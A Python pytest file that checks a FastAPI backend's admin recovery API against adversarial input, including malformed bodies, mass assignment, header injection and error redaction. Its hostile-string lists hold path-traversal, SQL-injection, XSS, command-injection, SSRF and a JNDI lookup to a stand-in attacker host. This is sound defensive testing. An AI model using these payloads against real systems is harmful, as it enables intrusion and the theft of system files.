Files
ModelForge/backend/tests/test_api_security_m16.py
T

500 lines
16 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""M16 API and input security tests.
Bounded adversarial input against the real typed API: malformed bodies, hostile strings, oversized
payloads, traversal, injection, mass assignment and error redaction. Nothing here touches a host
service; every request goes to the application under test.
"""
from __future__ import annotations
import json
import uuid
from typing import Any
import pytest
from fastapi.testclient import TestClient
from pydantic import SecretStr
from sqlalchemy import create_engine
from sqlalchemy.orm import Session
from sqlalchemy.pool import StaticPool
from modelforge_api.db import get_session
from modelforge_api.main import app
from modelforge_api.persistence.models import Base
from modelforge_api.settings import Settings, get_settings
ADMIN = {"X-ModelForge-Admin-Token": "m16-operator-key"}
def _label(value: object) -> str:
"""Short, stable parametrise ids; a 100 KB id makes a failure report unreadable."""
text = repr(value)
return text[:40] + ("…" if len(text) > 40 else "")
HOSTILE_STRINGS = [
"../../etc/passwd",
"..\\..\\windows\\system32\\config\\sam",
"/etc/shadow",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
"%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"....//....//etc/passwd",
"file:///etc/passwd",
"http://169.254.169.254/latest/meta-data/",
"'; DROP TABLE models; --",
"' OR '1'='1",
"1; SELECT pg_sleep(10)",
"<script>alert(document.cookie)</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert(1)",
"{{7*7}}",
"${jndi:ldap://attacker.invalid/a}",
"$(id)",
"`id`",
"|| cat /etc/passwd",
"\x00nullbyte",
"line\r\nX-Injected: header",
"\u202eoverride",
"\u0000\u0001\u0002",
"𝕏" * 100,
"🙂" * 200,
]
@pytest.fixture
def client() -> Any:
engine = create_engine(
"sqlite+pysqlite:///:memory:",
connect_args={"check_same_thread": False},
poolclass=StaticPool,
)
Base.metadata.create_all(engine)
settings = Settings(
_env_file=None,
operator_api_key=SecretStr("m16-operator-key"),
gateway_max_payload_bytes=65536,
gateway_max_input_characters=8192,
)
with Session(engine) as session:
app.dependency_overrides[get_session] = lambda: session
app.dependency_overrides[get_settings] = lambda: settings
try:
yield TestClient(app)
finally:
app.dependency_overrides.clear()
# --------------------------------------------------------------------- malformed bodies
@pytest.mark.parametrize(
"body",
[
b"",
b"not json at all",
b"{",
b"[]",
b"null",
b"123",
b'"a string"',
b'{"unterminated": ',
b'{"a": NaN}',
b'{"a": Infinity}',
b"\x00\x01\x02",
b'{"a": ' + b"[" * 200 + b"]" * 200 + b"}",
],
ids=_label,
)
def test_a_malformed_body_is_refused_without_a_server_error(client: Any, body: bytes) -> None:
response = client.post(
"/api/v1/admin/recovery/backups",
headers={**ADMIN, "Content-Type": "application/json"},
content=body,
)
assert response.status_code in (400, 422), response.text
assert response.status_code < 500
@pytest.mark.parametrize(
("field", "value"),
[
("backup_id", 12345),
("backup_id", None),
("backup_id", []),
("backup_id", {"nested": "object"}),
("backup_id", True),
("backup_id", "A" * 100000),
("backup_id", "UPPERCASE-NOT-ALLOWED"),
("backup_id", "sh"),
("reason", ""),
("reason", "x" * 100000),
("legal_hold", "yes-please"),
("milestone", "m" * 5000),
],
ids=lambda item: _label(item),
)
def test_a_wrongly_typed_or_oversized_field_is_refused(
client: Any, field: str, value: Any
) -> None:
payload = {"backup_id": "m16-fuzz-target", "reason": "M16 API fuzzing", field: value}
response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
assert response.status_code == 422, response.text
assert response.json()["error"]["code"] == "request_validation_failed"
def test_unknown_fields_cannot_be_mass_assigned(client: Any) -> None:
"""`extra="forbid"` is what stops a caller writing a field the contract never offered."""
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={
"backup_id": "m16-mass-assign",
"reason": "M16 mass assignment probe",
"state": "VERIFIED",
"restore_eligible": True,
"verified_at": "2020-01-01T00:00:00Z",
"encryption_key": "attacker-supplied",
"id": str(uuid.uuid4()),
},
)
assert response.status_code == 422
errors = json.dumps(response.json())
assert "extra_forbidden" in errors
@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
def test_a_hostile_string_in_a_typed_field_never_reaches_execution(
client: Any, value: str
) -> None:
"""A rejected value and a stored-but-inert value are both fine; a 500 is not."""
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={"backup_id": value, "reason": "M16 hostile input probe"},
)
assert response.status_code < 500, f"{value!r} produced {response.status_code}"
assert response.status_code in (201, 400, 409, 422)
@pytest.mark.parametrize("value", HOSTILE_STRINGS, ids=_label)
def test_a_hostile_string_in_a_free_text_field_is_stored_inertly(
client: Any, value: str
) -> None:
response = client.post(
"/api/v1/admin/recovery/restore-plans",
headers=ADMIN,
json={
"backup_set_id": str(uuid.uuid4()),
"mode": "VALIDATION",
"target_environment": "ISOLATED",
"target_label": "m16-hostile",
"database_destination": "postgresql+psycopg://u:p@h:5432/d",
"artifact_strategy": "NONE",
"secret_strategy": "ROTATE",
"node_strategy": "NONE",
"reason": value if len(value) >= 10 else value * 10,
},
)
assert response.status_code < 500, f"{value!r} produced {response.status_code}"
# --------------------------------------------------------------------- path traversal
@pytest.mark.parametrize(
"candidate",
[
"../escape",
"../../etc",
"nested/../../escape",
"..",
"/absolute",
"C:/Windows",
"~/home",
"\\\\server\\share",
"%2e%2e/passwd",
"a/../../b",
],
)
def test_a_traversing_backup_identity_never_escapes_the_allowlisted_root(
client: Any, candidate: str
) -> None:
"""The identity becomes a directory name, so the pattern must refuse traversal outright."""
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={"backup_id": candidate, "reason": "M16 traversal probe"},
)
assert response.status_code == 422, response.text
@pytest.mark.parametrize(
"destination",
[
"sqlite:///../../etc/passwd",
"postgresql://u:p@h:5432/../../etc",
'postgresql://u:p@h:5432/d";drop table models;--',
"postgresql://u:p@h:5432/",
"file:///etc/passwd",
"http://169.254.169.254/",
"postgresql+psycopg://u:p@h:5432/d\x00",
],
)
def test_an_unsafe_restore_destination_is_refused(client: Any, destination: str) -> None:
response = client.post(
"/api/v1/admin/recovery/restore-plans",
headers=ADMIN,
json={
"backup_set_id": str(uuid.uuid4()),
"mode": "VALIDATION",
"target_environment": "ISOLATED",
"target_label": "m16-destination",
"database_destination": destination,
"artifact_strategy": "NONE",
"secret_strategy": "ROTATE",
"node_strategy": "NONE",
"reason": "M16 unsafe destination probe",
},
)
assert response.status_code in (404, 409, 422), response.text
assert response.status_code < 500
# --------------------------------------------------------------------- identifiers
@pytest.mark.parametrize(
"identifier",
[
"not-a-uuid",
"00000000-0000-0000-0000-00000000000",
"../../etc/passwd",
"1 OR 1=1",
"%00",
"e" * 500,
"00000000-0000-0000-0000-000000000000'; DROP TABLE backup_sets; --",
],
)
def test_a_malformed_path_identifier_is_refused_before_any_query(
client: Any, identifier: str
) -> None:
response = client.get(f"/api/v1/admin/recovery/backups/{identifier}", headers=ADMIN)
assert response.status_code in (404, 422), response.text
assert response.status_code < 500
def test_a_well_formed_but_unknown_identifier_returns_a_typed_not_found(client: Any) -> None:
response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
assert response.status_code == 404
assert response.json()["error"]["code"] == "backup_not_found"
# --------------------------------------------------------------------- query bounds
@pytest.mark.parametrize("limit", ["0", "-1", "999999", "abc", "1e10", "null", "", "1;2"])
def test_an_out_of_range_or_malformed_limit_is_refused(client: Any, limit: str) -> None:
response = client.get(f"/api/v1/admin/recovery/backups?limit={limit}", headers=ADMIN)
assert response.status_code == 422, response.text
def test_a_valid_limit_is_accepted(client: Any) -> None:
assert client.get("/api/v1/admin/recovery/backups?limit=10", headers=ADMIN).status_code == 200
# --------------------------------------------------------------------- payload size
def test_an_oversized_body_is_refused_rather_than_buffered_into_memory(client: Any) -> None:
payload = {"backup_id": "m16-oversized", "reason": "x" * (5 * 1024 * 1024)}
response = client.post("/api/v1/admin/recovery/backups", headers=ADMIN, json=payload)
assert response.status_code in (413, 422), response.text
assert response.status_code < 500
def test_a_deeply_nested_body_is_refused(client: Any) -> None:
nested: Any = "leaf"
for _ in range(500):
nested = {"n": nested}
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={"backup_id": "m16-nested", "reason": "M16 nesting probe", "milestone": nested},
)
assert response.status_code in (400, 422), response.text
assert response.status_code < 500
# --------------------------------------------------------------------- error redaction
def test_an_error_response_never_carries_internal_detail(client: Any) -> None:
response = client.get(f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", headers=ADMIN)
body = response.text
for needle in (
"Traceback",
"site-packages",
"sqlalchemy",
"psycopg",
"postgresql+psycopg",
"/app/",
"modelforge:modelforge",
"PGPASSWORD",
"m16-operator-key",
):
assert needle not in body, f"error response leaked {needle!r}"
def test_a_validation_error_echoes_no_credential(client: Any) -> None:
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={"backup_id": 1, "reason": "probe"},
)
assert response.status_code == 422
assert "m16-operator-key" not in response.text
def test_every_error_response_is_a_typed_envelope(client: Any) -> None:
for method, path, payload in (
("GET", f"/api/v1/admin/recovery/backups/{uuid.uuid4()}", None),
("GET", "/api/v1/admin/recovery/backups?limit=0", None),
("POST", "/api/v1/admin/recovery/backups", {"backup_id": 1}),
):
response = client.request(method, path, headers=ADMIN, json=payload)
body = response.json()
assert set(body) == {"error"}
assert {"code", "message", "correlation_id"} <= set(body["error"])
assert body["error"]["correlation_id"]
def test_a_correlation_id_is_echoed_for_tracing(client: Any) -> None:
response = client.get(
"/api/v1/admin/recovery/backups",
headers={**ADMIN, "x-correlation-id": "m16-trace-1"},
)
assert response.headers["x-correlation-id"] == "m16-trace-1"
# --------------------------------------------------------------------- header injection
@pytest.mark.parametrize(
"value",
["m16\r\nX-Injected: yes", "m16\nSet-Cookie: a=b", "m16\x00truncated"],
)
def test_a_header_injection_attempt_never_produces_an_extra_header(
client: Any, value: str
) -> None:
try:
response = client.get(
"/api/v1/admin/recovery/backups", headers={**ADMIN, "x-correlation-id": value}
)
except Exception: # noqa: BLE001 - the client refusing the header is also a valid outcome
return
assert "X-Injected" not in response.headers
assert "Set-Cookie" not in response.headers
# --------------------------------------------------------------------- operator boundary
@pytest.mark.parametrize(
("method", "path"),
[
("GET", "/api/v1/admin/recovery/dashboard"),
("GET", "/api/v1/admin/recovery/backups"),
("POST", "/api/v1/admin/recovery/backups"),
("GET", "/api/v1/admin/recovery/fingerprint"),
("POST", "/api/v1/admin/recovery/retention/run"),
("GET", "/api/v1/admin/operations/overview"),
("GET", "/metrics"),
],
)
def test_an_operator_route_is_closed_to_a_capability_credential(
client: Any, method: str, path: str
) -> None:
"""A gateway bearer token is not an operator credential and must never behave like one."""
for headers in (
{},
{"Authorization": "Bearer mfsvc_a_valid_looking_capability_secret"},
{"X-ModelForge-Admin-Token": "mfsvc_a_valid_looking_capability_secret"},
{"X-ModelForge-Admin-Token": ""},
):
response = client.request(method, path, headers=headers)
assert response.status_code == 401, f"{path} accepted {headers}"
# --------------------------------------------------------------------- error serialisation
@pytest.mark.parametrize(
"body",
[b'{"backup_id": NaN}', b'{"backup_id": Infinity}', b'{"backup_id": -Infinity}'],
ids=_label,
)
def test_a_non_serialisable_number_does_not_crash_the_error_handler(
client: Any, body: bytes
) -> None:
"""M16 regression.
Python's JSON parser accepts NaN and Infinity but its serialiser rejects them. The validation
handler echoed the rejected value straight back, so one of these bodies made the error response
itself fail to serialise — turning a 422 into a server error on unauthenticated-shaped input.
"""
response = client.post(
"/api/v1/admin/recovery/backups",
headers={**ADMIN, "Content-Type": "application/json"},
content=body,
)
assert response.status_code == 422, response.text
payload = response.json()
assert payload["error"]["code"] == "request_validation_failed"
assert payload["error"]["correlation_id"]
def test_an_echoed_rejected_value_is_truncated(client: Any) -> None:
"""Rejected input is unbounded by definition and must not be mirrored back in full."""
response = client.post(
"/api/v1/admin/recovery/backups",
headers=ADMIN,
json={"backup_id": "z" * 50000, "reason": "M16 echo bound probe"},
)
assert response.status_code == 422
assert len(response.text) < 5000, f"error response was {len(response.text)} bytes"
def test_the_renderable_helper_handles_every_shape_it_may_meet() -> None:
from modelforge_api.main import MAX_ECHOED_INPUT_CHARACTERS, _renderable
assert _renderable(float("nan")) == "nan"
assert _renderable(float("inf")) == "inf"
assert _renderable(float("-inf")) == "-inf"
assert _renderable(1.5) == 1.5
assert _renderable(True) is True
assert _renderable(None) is None
assert _renderable(7) == 7
assert _renderable("a" * 1000) == "a" * MAX_ECHOED_INPUT_CHARACTERS
assert _renderable(b"bytes") == "bytes"
assert _renderable([float("inf"), "x"]) == ["inf", "x"]
assert _renderable({"k": float("nan")}) == {"k": "nan"}
assert len(_renderable(list(range(100)))) == 20
assert len(_renderable({str(index): index for index in range(100)})) == 20
assert isinstance(_renderable(object()), str)
import json as json_module
json_module.dumps(
{
"nan": _renderable(float("nan")),
"nested": _renderable({"deep": [float("inf")]}),
},
allow_nan=False,
)